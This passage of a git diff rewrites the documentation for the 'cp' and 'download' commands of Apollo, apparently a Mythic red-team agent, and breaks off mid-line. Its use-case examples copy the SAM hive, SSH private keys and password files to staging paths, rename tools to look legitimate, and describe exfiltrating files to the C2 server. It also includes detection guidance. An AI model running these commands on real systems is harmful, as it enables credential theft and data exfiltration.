File Open -- File Write +Artifacts Generated: File Open, File Write {{% /notice %}} ## Summary -Copy a specified file to another location. +The `cp` function copies a specified file from one location to another location on the file system. This command performs a complete file copy operation, creating an exact duplicate of the source file at the destination path. The implementation includes comprehensive validation to ensure the source is a file (not a directory) and generates appropriate artifacts for both the read and write operations for audit tracking. + +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein ### Arguments +- **source** (String) - Path to the source file to copy + - **CLI Name:** Path + - **Display Name:** Source file to copy + - **Description:** Source file to copy + - **Required:** True +- **destination** (String) - Path where the copied file will be created + - **CLI Name:** Destination + - **Display Name:** Destination path + - **Description:** Where the new file will be created + - **Required:** True + +## Usage +### Example 1: Basic File Copy +**Command:** +``` +cp -Path test1.txt -Destination test2.txt +cp test1.txt test2.txt +``` +**Output:** +```text +Copied C:\CurrentPath\test1.txt to C:\CurrentPath\test2.txt +``` -![args](../images/cp.png) +### Example 2: Copy to Different Directory +**Command:** +``` +cp -Path C:\temp\document.txt -Destination "C:\Program Files\document.txt" +``` +**Output:** +```text +Copied C:\temp\document.txt to C:\Program Files\document.txt +``` -#### Path -The path to the original file that will be copied and placed in the location specified by `Destination`. +### Example 3: Copy with Quoted Paths +**Command:** +``` +cp "C:\Source File.txt" "C:\Destination File.txt" +``` +**Output:** +```text +Copied C:\Source File.txt to C:\Destination File.txt +``` -#### Destination -The path to copy a file too. +### Example 4: Directory Copy Attempt (Error) +**Command:** +``` +cp C:\MyDirectory C:\NewDirectory +``` +**Output:** +```text +Error: C:\MyDirectory is a directory. Please specify a file. +``` -## Usage +### Example 5: File Not Found (Error) +**Command:** +``` +cp nonexistent.txt destination.txt +``` +**Output:** +```text +Error: Failed to copy file: Could not find file 'C:\CurrentPath\nonexistent.txt'. +``` + +### Example 6: Access Denied (Error) +**Command:** +``` +cp C:\Windows\System32\config\SAM C:\temp\sam_copy +``` +**Output:** +```text +Error: Failed to copy file: Access to the path 'C:\Windows\System32\config\SAM' is denied. +``` + +## Detailed Summary + +The `cp` function implements a comprehensive file copying system with validation, error handling, and audit trail generation: + +### 1. Parameter Processing and Structure + +The function uses a dedicated parameter structure for source and destination paths: + +```csharp +[DataContract] +internal struct CpParameters +{ + [DataMember(Name = "source")] + public string SourceFile; + [DataMember(Name = "destination")] + public string DestinationFile; +} +``` + +**Parameter Structure**: +* **Source File**: The file to be copied (must be a file, not a directory) +* **Destination File**: The target location for the copied file +* **JSON Mapping**: Uses DataContract attributes for proper JSON deserialization +* **Required Fields**: Both source and destination are required parameters + +### 2. Command Line Parsing Implementation + +The Python handler implements sophisticated argument parsing for flexible input: + +```python +def split_commandline(self): + if self.command_line[0] == "{": + raise Exception("split_commandline expected string, but got JSON object: " + self.command_line) + inQuotes = False + curCommand = "" + cmds = [] + for x in range(len(self.command_line)): + c = self.command_line[x] + if c == '"' or c == "'": + inQuotes = not inQuotes + if not inQuotes and c == " ": + cmds.append(curCommand) + curCommand = "" + else: + curCommand += c + # Quote removal logic... +``` + +**Parsing Features**: +* **Quote-Aware Splitting**: Properly handles spaces within quoted paths +* **Quote Removal**: Automatically removes surrounding quotes from parsed arguments +* **Two-Argument Validation**: Ensures exactly two arguments are provided +* **JSON Support**: Supports both command line and JSON parameter formats + +### 3. Core File Copy Implementation + +The main copy operation includes comprehensive validation and error handling: + +```csharp +public override void Start() +{ + CpParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + MythicTaskResponse resp; + List artifacts = new List(); + try + { + FileInfo source = new FileInfo(parameters.SourceFile); + artifacts.Add(Artifact.FileOpen(source.FullName)); + if (source.Attributes.HasFlag(FileAttributes.Directory)) + { + resp = CreateTaskResponse( + $"{source.FullName} is a directory. Please specify a file.", + true, "error", artifacts.ToArray()); + } + else + { + File.Copy(parameters.SourceFile, parameters.DestinationFile); + FileInfo dest = new FileInfo(parameters.DestinationFile); + artifacts.Add(Artifact.FileWrite(dest.FullName, source.Length)); + artifacts.Add(new FileBrowser(dest)); + resp = CreateTaskResponse( + $"Copied {source.FullName} to {dest.FullName}", + true, "completed", artifacts.ToArray()); + } + } + catch (Exception ex) + { + resp = CreateTaskResponse($"Failed to copy file: {ex.Message}", true, "error", artifacts.ToArray()); + } +} +``` + +**Implementation Flow**: +1. **Parameter Deserialization**: Extracts source and destination paths +2. **Source Validation**: Creates `FileInfo` object and validates it's not a directory +3. **Artifact Generation**: Creates `FileOpen` artifact for source file access +4. **File Copy Operation**: Uses `File.Copy()` to perform the actual copy +5. **Success Artifacts**: Generates `FileWrite` and `FileBrowser` artifacts for destination +6. **Error Handling**: Catches all exceptions and provides detailed error messages + +### 4. Directory Detection and Validation + +The implementation specifically validates that the source is a file, not a directory: + +```csharp +FileInfo source = new FileInfo(parameters.SourceFile); +if (source.Attributes.HasFlag(FileAttributes.Directory)) +{ + resp = CreateTaskResponse( + $"{source.FullName} is a directory. Please specify a file.", + true, "error", artifacts.ToArray()); +} ``` -cp -Path [source] -Destination [destination] + +**Validation Process**: +* **FileInfo Creation**: Creates `FileInfo` object to access file attributes +* **Directory Check**: Uses `FileAttributes.Directory` flag to detect directories +* **Specific Error Message**: Provides clear error message for directory sources +* **Early Exit**: Prevents attempting to copy directories with `File.Copy()` + +### 5. Artifact Generation and Tracking + +The command generates multiple artifacts for comprehensive audit tracking: + +**Source File Artifacts**: +```csharp +artifacts.Add(Artifact.FileOpen(source.FullName)); ``` -Example + +**Destination File Artifacts**: +```csharp +artifacts.Add(Artifact.FileWrite(dest.FullName, source.Length)); +artifacts.Add(new FileBrowser(dest)); +``` + +**Artifact Types**: +* **File Open**: Records access to the source file with full path +* **File Write**: Records creation of destination file with file size +* **File Browser**: Updates Mythic's file browser with the new file +* **Timeline Integration**: All artifacts are timestamped and associated with the task + +### 6. File System Operations + +The command uses .NET Framework's built-in file operations: + +```csharp +File.Copy(parameters.SourceFile, parameters.DestinationFile); +``` + +**File.Copy() Characteristics**: +* **Complete Copy**: Creates exact duplicate of source file +* **Metadata Preservation**: Preserves file attributes, timestamps (creation time may change) +* **Overwrite Behavior**: Uses default overwrite behavior (will fail if destination exists) +* **Exception Handling**: Throws exceptions for various error conditions +* **Path Resolution**: Handles both absolute and relative paths + +### 7. Error Handling and Exception Management + +The implementation includes comprehensive error handling for various failure scenarios: + +**Handled Error Types**: +* **File Not Found**: Source file doesn't exist +* **Access Denied**: Insufficient permissions for source or destination +* **Path Too Long**: Paths exceed Windows limitations +* **Disk Full**: Insufficient space for destination file +* **File In Use**: Source or destination file is locked by another process +* **Network Issues**: Problems with UNC paths or network drives + +**Error Response Format**: +```csharp +resp = CreateTaskResponse($"Failed to copy file: {ex.Message}", true, "error", artifacts.ToArray()); +``` + +### 8. Path Handling and Resolution + +The system handles various path formats and scenarios: + +**Supported Path Types**: +* **Absolute Paths**: Full paths from drive root (`C:\path\file.txt`) +* **Relative Paths**: Paths relative to current directory (`.\file.txt`, `subfolder\file.txt`) +* **UNC Paths**: Network paths (`\\server\share\file.txt`) +* **Mixed Scenarios**: Source and destination can use different path types + +**Path Processing**: +* **FileInfo Resolution**: Uses `FileInfo` to resolve and validate paths +* **Full Path Confirmation**: Response shows fully resolved paths +* **Cross-Directory Copy**: Supports copying between different directories and drives + +### 9. Display and Response Management + +The command provides detailed feedback about copy operations: + +**Success Response Format**: +```csharp +$"Copied {source.FullName} to {dest.FullName}" ``` -cp -Path test1.txt -Destination "C:\Program Files\test2.txt" + +**Error Response Formats**: +* Directory error: `"{path} is a directory. Please specify a file."` +* General error: `"Failed to copy file: {exception message}"` + +**Display Parameters**: +```python +response.DisplayParams = "-Source {} -Destination {}".format( + taskData.args.get_arg("source"), taskData.args.get_arg("destination") +) ``` +### 10. Security and Permission Considerations + +The copy operation respects file system security: + +**Security Aspects**: +* **Source Permissions**: Requires read access to source file +* **Destination Permissions**: Requires write access to destination directory +* **User Context**: Operates within Apollo agent's security context +* **ACL Inheritance**: Destination file inherits ACLs from destination directory +* **Audit Generation**: Creates audit trail through artifact generation + ## MITRE ATT&CK Mapping +- **T1570** - Lateral Tool Transfer + +## Technical Deep Dive + +### .NET File Copy Implementation + +The `cp` command leverages .NET Framework's `File.Copy()` method: + +#### File.Copy() Method Behavior +```csharp +File.Copy(parameters.SourceFile, parameters.DestinationFile); +``` + +**Method Characteristics**: +- **Atomic Operation**: Copy completes entirely or fails entirely +- **Exception-Based Error Handling**: Throws specific exceptions for different error conditions +- **Default Overwrite Behavior**: By default, fails if destination file already exists +- **Metadata Handling**: Preserves most file attributes but may update timestamps +- **Performance**: Optimized for the underlying file system (uses system-level copy operations) + +#### File Attribute Checking +```csharp +if (source.Attributes.HasFlag(FileAttributes.Directory)) +``` + +**Attribute Validation**: +- **FileAttributes Enum**: Uses Windows file attribute flags +- **Directory Detection**: Specifically checks for directory attribute +- **Multiple Attributes**: Can detect files with multiple attributes (hidden, system, etc.) +- **Performance**: Minimal overhead for attribute checking + +### Command Line Parsing Algorithm + +The Python handler implements a sophisticated parsing algorithm: + +#### Quote-Aware Parsing +The `split_commandline()` method handles complex quoting scenarios: +- **State Tracking**: Maintains `inQuotes` state to track quote context +- **Quote Types**: Handles both single and double quotes +- **Space Handling**: Only splits on spaces outside of quotes +- **Quote Removal**: Removes quotes from final parsed arguments + +#### Validation Logic +```python +if len(cmds) != 2: + raise Exception("Invalid number of arguments given. Expected two, but received: {}") +``` + +**Validation Features**: +- **Exact Count**: Requires exactly two arguments (source and destination) +- **Clear Error Messages**: Provides helpful error messages with usage information +- **Flexible Input**: Supports both positional arguments and JSON format + +### Artifact Generation Strategy + +The command generates multiple artifacts for comprehensive tracking: + +#### Artifact Types and Purposes +1. **File Open Artifact**: + - **Purpose**: Records access to source file + - **Timing**: Generated before copy operation + - **Data**: Full path of source file + +2. **File Write Artifact**: + - **Purpose**: Records creation of destination file + - **Timing**: Generated after successful copy + - **Data**: Full path and file size of destination + +3. **FileBrowser Artifact**: + - **Purpose**: Updates Mythic's file browser display + - **Timing**: Generated after successful copy + - **Integration**: Allows browsing to newly created file + +### Error Handling Patterns + +The command implements multiple layers of error detection: + +#### Pre-Copy Validation +- **Directory Detection**: Prevents attempting to copy directories +- **FileInfo Creation**: Validates source path format and accessibility +- **Attribute Checking**: Ensures source is appropriate for copying + +#### Runtime Exception Handling +- **Comprehensive Catch**: Catches all exceptions during copy operation +- **Message Preservation**: Preserves original exception messages +- **Artifact Inclusion**: Includes artifacts even in error responses for audit trail + +### Performance and Resource Considerations + +#### Memory Usage +- **Minimal Memory Footprint**: `File.Copy()` uses system-level operations +- **No Buffering**: No manual buffering or chunk processing required +- **Stream-Based**: Uses efficient file streams at system level + +#### I/O Characteristics +- **System Call Optimization**: Leverages optimized system copy operations +- **Network Efficiency**: Efficient for network paths (UNC shares) +- **Concurrent Safety**: Thread-safe operation through system-level locking + +## Common Use Cases and Examples + +### 1. Configuration File Backup +```bash +# Create backups of configuration files +cp C:\Config\app.config C:\Config\app.config.bak +cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.backup +``` + +### 2. Log File Preservation +```bash +# Copy log files for analysis +cp C:\Logs\application.log C:\Analysis\app_log_copy.txt +cp /var/log/auth.log /tmp/auth_analysis.log +``` + +### 3. Tool Staging +```bash +# Stage tools in accessible locations +cp C:\Tools\tool.exe C:\Temp\legitimate_app.exe +cp /opt/tools/scanner /tmp/system_check +``` + +### 4. Data Exfiltration Preparation +```bash +# Copy sensitive files to staging area +cp C:\Users\admin\Documents\passwords.xlsx C:\Temp\data.xlsx +cp /home/user/.ssh/id_rsa /tmp/backup_key +``` + +### 5. System File Analysis +```bash +# Copy system files for offline analysis +cp C:\Windows\System32\drivers\etc\hosts C:\Analysis\hosts_copy +cp /etc/passwd /tmp/passwd_copy +``` + +## APIs Used and Their Purposes +| API | Purpose | DLL | Documentation | +|------|---------|-----|--------------| +| `File.Copy()` | Copies file from source to destination | mscorlib.dll | [File.Copy](https://docs.microsoft.com/en-us/dotnet/api/system.io.file.copy) | +| `FileInfo()` | Gets file information and attributes | mscorlib.dll | [FileInfo](https://docs.microsoft.com/en-us/dotnet/api/system.io.fileinfo) | +| `FileAttributes.HasFlag()` | Checks for specific file attributes | mscorlib.dll | [Enum.HasFlag](https://docs.microsoft.com/en-us/dotnet/api/system.enum.hasflag) | +| `JsonSerializer.Deserialize()` | Deserializes JSON task parameters | Apollo Agent | Internal Apollo JSON serialization | + +## Security Considerations + +### File System Permissions +1. **Source Access**: Requires read permissions on source file +2. **Destination Access**: Requires write permissions in destination directory +3. **ACL Inheritance**: Destination file inherits security settings from target directory +4. **User Context**: Limited by Apollo agent's privilege level + +### Operational Security +1. **File Access Patterns**: Copy operations may reveal reconnaissance activities +2. **Staging Behavior**: Multiple file copies may indicate tool staging +3. **Data Movement**: Large file copies may suggest data exfiltration +4. **Audit Trail**: Generates comprehensive audit artifacts + +### Detection Considerations +1. **File System Monitoring**: Copy operations may trigger file system audit events +2. **Behavioral Analysis**: Unusual copy patterns may indicate malicious activity +3. **Network Monitoring**: UNC path copies generate network traffic +4. **Performance Impact**: Large file copies may affect system performance + +### Defensive Implications +1. **Access Monitoring**: Monitor for copies of sensitive files +2. **Unusual Locations**: Watch for files copied to temporary or staging directories +3. **Permission Escalation**: Monitor for successful copies of restricted files +4. **Timeline Analysis**: Correlate copy operations with other suspicious activities + +## Limitations + +1. **File-Only Operation**: Cannot copy directories (use directory-specific commands) +2. **No Overwrite Control**: Uses default overwrite behavior of `File.Copy()` +3. **No Progress Reporting**: No progress indication for large file copies +4. **Synchronous Operation**: Blocks agent during copy operation +5. **No Resume Capability**: Cannot resume interrupted copy operations +6. **Single File Limit**: Can only copy one file per command execution +7. **Path Length Limits**: Subject to Windows maximum path length restrictions +8. **No Verification**: Does not verify integrity of copied file + +## Troubleshooting + +### Common Issues and Solutions + +| Issue | Possible Causes | Solutions | +|-------|----------------|-----------| +| "is a directory" error | Attempting to copy a directory | Use directory-specific commands for directory operations | +| "Failed to copy file" with access denied | Insufficient permissions | Check source read and destination write permissions | +| "Could not find file" error | Incorrect source path | Verify source file exists with `ls` command | +| Path too long errors | Windows path limits | Use shorter paths or UNC alternatives | +| Destination already exists | File.Copy default behavior | Manually remove destination file first | + +### Debugging Steps +1. **Verify Source File**: Use `ls` to confirm source file exists and is accessible +2. **Check Destination Directory**: Ensure destination directory exists and is writable +3. **Test Permissions**: Verify read access to source and write access to destination +4. **Path Validation**: Check for invalid characters or excessive path lengths +5. **Quote Usage**: Ensure proper quoting for paths with spaces + +### Best Practices +1. **Path Quoting**: Always quote paths containing spaces or special characters +2. **Permission Verification**: Check permissions before attempting copy operations +3. **Destination Planning**: Ensure destination directory exists and has sufficient space +4. **Error Handling**: Be prepared for permission and access errors +5. **Audit Awareness**: Understand that copy operations generate audit trails + +## References -- T1570 \ No newline at end of file +- [.NET File.Copy Method](https://docs.microsoft.com/en-us/dotnet/api/system.io.file.copy) +- [FileInfo Class](https://docs.microsoft.com/en-us/dotnet/api/system.io.fileinfo) +- [File Attributes](https://docs.microsoft.com/en-us/dotnet/api/system.io.fileattributes) +- [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570/) +- [Apollo Agent Source Code](https://github.com/MythicAgents/Apollo) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/download.md b/documentation-payload/apollo/commands/download.md index 5589b386..aece183e 100644 --- a/documentation-payload/apollo/commands/download.md +++ b/documentation-payload/apollo/commands/download.md @@ -10,37 +10,472 @@ Artifacts Generated: File Open {{% /notice %}} ## Summary -Download a specified file from the agent's host to the Mythic server. +The `download` function transfers a specified file from the target system to the Mythic server for analysis or exfiltration. This command supports both local files and remote files accessible via UNC paths, with automatic hostname resolution and path normalization. The implementation includes comprehensive error handling, artifact generation for audit trails, and integration with Mythic's file management system for secure file transfer and storage. -### Arguments (Positional) -#### Path +- **Needs Admin:** False +- **Version:** 3 +- **Author:** @djhohnstein -Path to the file to download. +### Arguments +- **path** (String) - Path to the file to download + - **CLI Name:** path + - **Display Name:** Path to file to download + - **Description:** File to download + - **Required:** True -#### Host (optional) +## Usage +### Example 1: Basic Local File Download +**Command:** +``` +download -Path C:\Users\user\Downloads\test.txt +download C:\Users\user\Downloads\test.txt +``` +**Output:** +```text +[File downloaded successfully - file_id: abc123def456] +``` -Host to download the file from. Default: localhost. +### Example 2: UNC Path Download +**Command:** +``` +download -Path \\server\share\document.pdf +``` +**Output:** +```text +[File downloaded successfully - file_id: def789ghi012] +``` -## Usage +### Example 3: Download with Localhost Alias +**Command:** ``` -download -Path [path to file] [-Host [127.0.0.1]] +download -Path \\127.0.0.1\c$\temp\file.txt +download -Path \\localhost\c$\temp\file.txt ``` -Example +**Output:** +```text +[File downloaded successfully - file_id: ghi345jkl678] ``` -download -Path C:\Users\user\Downloads\test.txt -download -Path C:\Users\user\Downloads\test.txt -Host 127.0.0.1 +### Example 4: File Not Found Error +**Command:** +``` +download -Path C:\nonexistent\file.txt +``` +**Output:** +```text +Error: File 'C:\nonexistent\file.txt' does not exist. +``` -From the file browser, Actions -> Task a Download +### Example 5: File Browser Integration +**Interface Action:** ``` +From file browser: Actions -> Task a Download +``` +**Output:** +```text +[File downloaded via browser interface - file_id: jkl901mno234] +``` + +## Detailed Summary + +The `download` function implements a comprehensive file transfer system with support for local and remote files, automatic path resolution, and secure file management: + +### 1. Parameter Processing and Path Handling + +The function uses a flexible parameter structure to handle various file path formats: -When the download completes, clicking the link will automatically download the file to your Downloads folder. +```csharp +[DataContract] +internal struct DownloadParameters +{ + [DataMember(Name = "file")] + public string FileName; + [DataMember(Name = "host")] + public string Hostname; +} +``` + +**Parameter Processing**: +* **File Name**: The target file path to download +* **Hostname**: Optional hostname for remote file access +* **Path Normalization**: Converts various path formats to standardized UNC paths +* **Localhost Resolution**: Resolves localhost aliases to actual computer names + +### 2. UNC Path Processing and Resolution + +The Python handler implements sophisticated UNC path parsing and resolution: + +```python +async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + path = taskData.args.get_arg("path") + + if uncmatch := re.match(r"^\\\\(?P[^\\]+)\\(?P.*)$", path): + taskData.args.add_arg("host", uncmatch.group("host")) + taskData.args.set_arg("path", uncmatch.group("path")) + else: + taskData.args.add_arg("host", "") + + if host := taskData.args.get_arg("host"): + host = host.upper() + if host == "127.0.0.1" or host.lower() == "localhost": + host = taskData.Callback.Host + taskData.args.set_arg("host", host) +``` -![download2](../images/download02.png) +**UNC Path Features**: +* **Regex Parsing**: Uses regex to extract hostname and path from UNC paths +* **Hostname Extraction**: Separates hostname from file path in UNC format +* **Localhost Resolution**: Converts localhost/127.0.0.1 to actual callback host +* **Case Normalization**: Converts hostnames to uppercase for consistency + +### 3. File Browser Integration + +The command includes comprehensive file browser integration: + +```python +async def parse_dictionary(self, dictionary_arguments): + if "host" in dictionary_arguments: + if "full_path" in dictionary_arguments: + self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["full_path"]}') + elif "path" in dictionary_arguments: + self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["path"]}') + elif "file" in dictionary_arguments: + self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["file"]}') +``` + +**Browser Integration Features**: +* **Multiple Path Formats**: Supports full_path, path, and file parameters from browser +* **UNC Construction**: Automatically constructs UNC paths for remote files +* **Default Handling**: Provides default path handling for browser invocations +* **Parameter Flexibility**: Handles various parameter naming conventions + +### 4. Core File Reading and Transfer Logic + +The C# implementation handles the actual file reading and transfer: + +```csharp +public override void Start() +{ + DownloadParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + string host = parameters.Hostname; + + if (string.IsNullOrEmpty(parameters.Hostname) && !File.Exists(parameters.FileName)) + { + resp = CreateTaskResponse($"File '{parameters.FileName}' does not exist.", true, "error"); + } + else + { + // Path resolution and file reading logic + byte[] fileBytes = File.ReadAllBytes(path); + + if (_agent.GetFileManager().PutFile(_cancellationToken.Token, _data.ID, fileBytes, + parameters.FileName, out string mythicFileId, false, host)) + { + resp = CreateTaskResponse(mythicFileId, true, "completed", artifacts); + } + } +} +``` + +**File Transfer Process**: +* **File Existence Check**: Validates file exists before attempting read +* **Complete File Read**: Uses `File.ReadAllBytes()` to read entire file into memory +* **File Manager Integration**: Uses Apollo's FileManager to transfer file to Mythic +* **Mythic File ID**: Returns Mythic's file ID for downloaded file reference + +### 5. Hostname Resolution and Localhost Handling + +The system includes sophisticated hostname resolution: + +```csharp +private static string[] localhostAliases = new string[] +{ + "localhost", + "127.0.0.1", + Environment.GetEnvironmentVariable("COMPUTERNAME").ToLower() +}; +``` + +**Localhost Resolution**: +* **Alias Detection**: Recognizes various localhost aliases +* **Computer Name**: Uses actual computer name for localhost references +* **Case Insensitive**: Handles case variations in hostname aliases +* **Environment Variable**: Uses COMPUTERNAME environment variable for resolution + +### 6. Current Working Directory UNC Path Handling + +The implementation includes special handling for UNC-based working directories: + +```csharp +string cwd = System.IO.Directory.GetCurrentDirectory().ToString(); +if (cwd.StartsWith("\\\\")) +{ + var hostPieces = cwd.Split('\\'); + if (hostPieces.Length > 2) + { + host = hostPieces[2]; + path = $@"\\{hostPieces[2]}\{parameters.FileName}"; + } + else + { + resp = CreateTaskResponse($"invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path", true, "error"); + } +} +``` + +**UNC CWD Features**: +* **UNC Detection**: Detects when current working directory is a UNC path +* **Host Extraction**: Extracts hostname from UNC working directory +* **Path Construction**: Builds proper UNC path for file access +* **Error Handling**: Provides specific error messages for invalid UNC paths + +### 7. Artifact Generation and Audit Trail + +The command generates comprehensive audit artifacts: + +```csharp +IMythicMessage[] artifacts = new IMythicMessage[1] +{ + new Artifact + { + BaseArtifact = "FileOpen", + ArtifactDetails = path + } +}; +``` +**Artifact Details**: +* **File Open Artifact**: Records file access with complete path +* **Audit Trail**: Provides forensic evidence of file access +* **Timeline Integration**: Links file access to specific task execution +* **Path Recording**: Records the actual path used for file access + +### 8. File Manager Integration and Transfer + +The system integrates with Apollo's file management system: + +```csharp +if (_agent.GetFileManager().PutFile(_cancellationToken.Token, _data.ID, fileBytes, + parameters.FileName, out string mythicFileId, false, host)) +{ + resp = CreateTaskResponse(mythicFileId, true, "completed", artifacts); +} +``` + +**File Manager Features**: +* **Secure Transfer**: Uses Apollo's secure file transfer mechanisms +* **Cancellation Support**: Respects cancellation tokens for operation termination +* **File ID Assignment**: Receives Mythic file ID for tracking and reference +* **Host Association**: Associates file with specific host for organization +* **Transfer Validation**: Confirms successful transfer before completing task + +### 9. Browser Script Integration and UI Features + +The command includes JavaScript browser script for enhanced UI integration: + +```javascript +function(task, responses){ + if(responses.length > 0){ + try{ + const task_data = JSON.parse(responses[0]); + return { "media": [{ + "filename": `${task.display_params}`, + "agent_file_id": task_data["file_id"], + }]}; + }catch(error){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + } + } +} +``` + +**Browser Script Features**: +* **Media Display**: Presents downloaded files as downloadable media in UI +* **File ID Integration**: Links browser display to Mythic file management +* **Error Handling**: Gracefully handles JSON parsing errors +* **Response Aggregation**: Combines multiple response chunks for display + +### 10. Error Handling and Exception Management + +The implementation includes comprehensive error handling: + +**Error Scenarios**: +* **File Not Found**: Reports when target file doesn't exist +* **Access Denied**: Handles permission errors for file access +* **Invalid UNC Paths**: Provides specific errors for malformed UNC paths +* **Transfer Failures**: Reports file transfer failures to Mythic +* **General Exceptions**: Catches and reports unexpected errors with stack traces + +**Error Response Formats**: +* File not found: `"File '{filename}' does not exist."` +* Transfer failure: `"Download of {path} failed or aborted."` +* UNC error: `"invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path"` ## MITRE ATT&CK Mapping +- **T1020** - Automated Exfiltration +- **T1030** - Data Transfer Size Limits +- **T1041** - Exfiltration Over C2 Channel + +## Technical Deep Dive + +### File Transfer Architecture + +The download command implements a multi-layered file transfer system: + +#### Memory-Based Transfer +The implementation reads files completely into memory: +```csharp +byte[] fileBytes = File.ReadAllBytes(path); +``` + +**Memory Transfer Characteristics**: +- **Complete Read**: Entire file is read into memory at once +- **Memory Constraints**: Limited by available system memory +- **Performance**: Optimized for complete file transfer without streaming +- **Security**: File data remains in managed memory during transfer + +#### Apollo File Manager Integration +The transfer leverages Apollo's centralized file management: +- **Secure Transport**: Uses Apollo's secure communication channels +- **File Tracking**: Assigns unique Mythic file IDs for tracking +- **Host Association**: Links files to specific hosts for organization +- **Transfer Validation**: Confirms successful upload to Mythic server + +### Path Resolution Algorithm + +The command implements sophisticated path resolution: + +#### UNC Path Parsing +The regex pattern `^\\\\(?P[^\\]+)\\(?P.*)$` captures: +- **Host Component**: First component after `\\` in UNC path +- **Path Component**: Remaining path after hostname +- **Validation**: Ensures proper UNC path format + +#### Localhost Resolution Strategy +Multiple strategies for localhost resolution: +1. **Explicit Aliases**: Matches "localhost" and "127.0.0.1" +2. **Computer Name**: Uses COMPUTERNAME environment variable +3. **Callback Host**: Uses Mythic callback host information for remote resolution + +#### Working Directory Context +Special handling for UNC working directories: +- **Detection**: Identifies when CWD is a UNC path +- **Host Extraction**: Parses hostname from UNC CWD +- **Path Construction**: Builds appropriate file paths within UNC context + +### Browser Integration Architecture + +The command provides comprehensive browser integration: + +#### File Browser Support +The `supported_ui_features = ["file_browser:download"]` enables: +- **Context Menu**: Right-click download option in file browser +- **Action Integration**: Seamless integration with file browser actions +- **Path Propagation**: Automatic path parameter population + +#### Dictionary Parameter Parsing +Handles multiple parameter formats from browser: +- **full_path**: Complete file path from browser +- **path**: Relative or absolute path +- **file**: Filename with implicit path context +- **host**: Remote host specification + +### JavaScript Browser Script + +The browser script enhances the user experience: + +#### Media Presentation +Successfully downloaded files are presented as media objects: +- **Filename Display**: Shows original filename in UI +- **Download Link**: Provides direct download link from Mythic +- **File ID Tracking**: Links to Mythic's file management system + +#### Error Handling +Graceful degradation for various error scenarios: +- **JSON Parsing Errors**: Falls back to plaintext display +- **Empty Responses**: Shows appropriate waiting message +- **Multiple Responses**: Aggregates response content + +## APIs Used and Their Purposes +| API | Purpose | DLL | Documentation | +|------|---------|-----|--------------| +| `File.ReadAllBytes()` | Reads complete file content into byte array | mscorlib.dll | [File.ReadAllBytes](https://docs.microsoft.com/en-us/dotnet/api/system.io.file.readallbytes) | +| `File.Exists()` | Validates file existence before reading | mscorlib.dll | [File.Exists](https://docs.microsoft.com/en-us/dotnet/api/system.io.file.exists) | +| `Directory.GetCurrentDirectory()` | Gets current working directory for path resolution | mscorlib.dll | [Directory.GetCurrentDirectory](https://docs.microsoft.com/en-us/dotnet/api/system.io.directory.getcurrentdirectory) | +| `Environment.GetEnvironmentVariable()` | Gets COMPUTERNAME for localhost resolution | mscorlib.dll | [Environment.GetEnvironmentVariable](https://docs.microsoft.com/en-us/dotnet/api/system.environment.getenvironmentvariable) | +| `IAgent.GetFileManager().PutFile()` | Transfers file to Mythic server | Apollo Agent | Internal Apollo API | +| `Regex.Match()` | Parses UNC paths for hostname extraction | System.dll | [Regex.Match](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.match) | + +## Security Considerations + +### File Access Permissions +1. **Windows ACLs**: Respects file system access control lists +2. **User Context**: Limited by Apollo agent's privilege level +3. **Network Access**: UNC paths require appropriate network credentials +4. **Share Permissions**: Network shares enforce their own permission models + +### Data Exfiltration Implications +1. **Sensitive Data**: Can exfiltrate any readable file from target system +2. **Audit Trail**: Generates file access artifacts for forensic tracking +3. **Network Traffic**: File transfers generate network traffic to Mythic server +4. **Detection Risk**: Large file transfers may trigger data loss prevention systems + +### Operational Security +1. **File Size Limits**: Large files may impact network performance and detection +2. **Access Patterns**: Multiple file downloads may indicate data exfiltration +3. **Timing Considerations**: File access timing may correlate with other activities +4. **Memory Usage**: Large files consume significant memory during transfer + +### Defensive Considerations +1. **File System Monitoring**: Monitor for unusual file access patterns +2. **Network Monitoring**: Watch for large data transfers to external systems +3. **Access Logging**: Enable file access auditing for sensitive directories +4. **DLP Systems**: Deploy data loss prevention for sensitive file types + +## Limitations + +1. **Memory Constraints**: Files must fit entirely in memory during transfer +2. **File Size Limits**: Practical limits based on available memory and network capacity +3. **Permission Requirements**: Cannot download files without read permissions +4. **Network Dependencies**: UNC paths require network connectivity and credentials +5. **Synchronous Operation**: Blocks agent during file reading and transfer +6. **No Resume Capability**: Cannot resume interrupted downloads +7. **Binary Compatibility**: All file types supported but no special handling for specific formats +8. **No Compression**: Files transferred without compression (handled by C2 channel) + +## Troubleshooting + +### Common Issues and Solutions + +| Issue | Possible Causes | Solutions | +|-------|----------------|-----------| +| "File does not exist" | Incorrect path, file deleted | Verify file path with `ls` command | +| Access denied errors | Insufficient permissions | Check file permissions and run with appropriate privileges | +| UNC path failures | Network connectivity, credentials | Verify network access and authentication | +| Transfer failures | Network issues, file locking | Check network connectivity and file usage | +| Memory errors | File too large for available memory | Consider file size and available system memory | + +### Debugging Steps +1. **Verify File Existence**: Use `ls` to confirm file exists and is accessible +2. **Check Permissions**: Verify read access to the target file +3. **Test Network Paths**: For UNC paths, verify network connectivity and credentials +4. **Monitor Memory Usage**: Watch system memory during large file transfers +5. **Review File Locks**: Check if file is locked by other processes + +### Best Practices +1. **Path Verification**: Always verify file paths before attempting download +2. **Size Awareness**: Be mindful of file sizes and system memory constraints +3. **Permission Planning**: Ensure appropriate permissions before attempting access +4. **Network Considerations**: Test network connectivity for remote files +5. **Operational Security**: Consider detection implications of file access patterns + +## References -- T1020 -- T1030 -- T1041 \ No newline at end of file +- [.NET File.ReadAllBytes Method](https://docs.microsoft.com/en-us/dotnet/api/system.io.file.readallbytes) +- [UNC Path 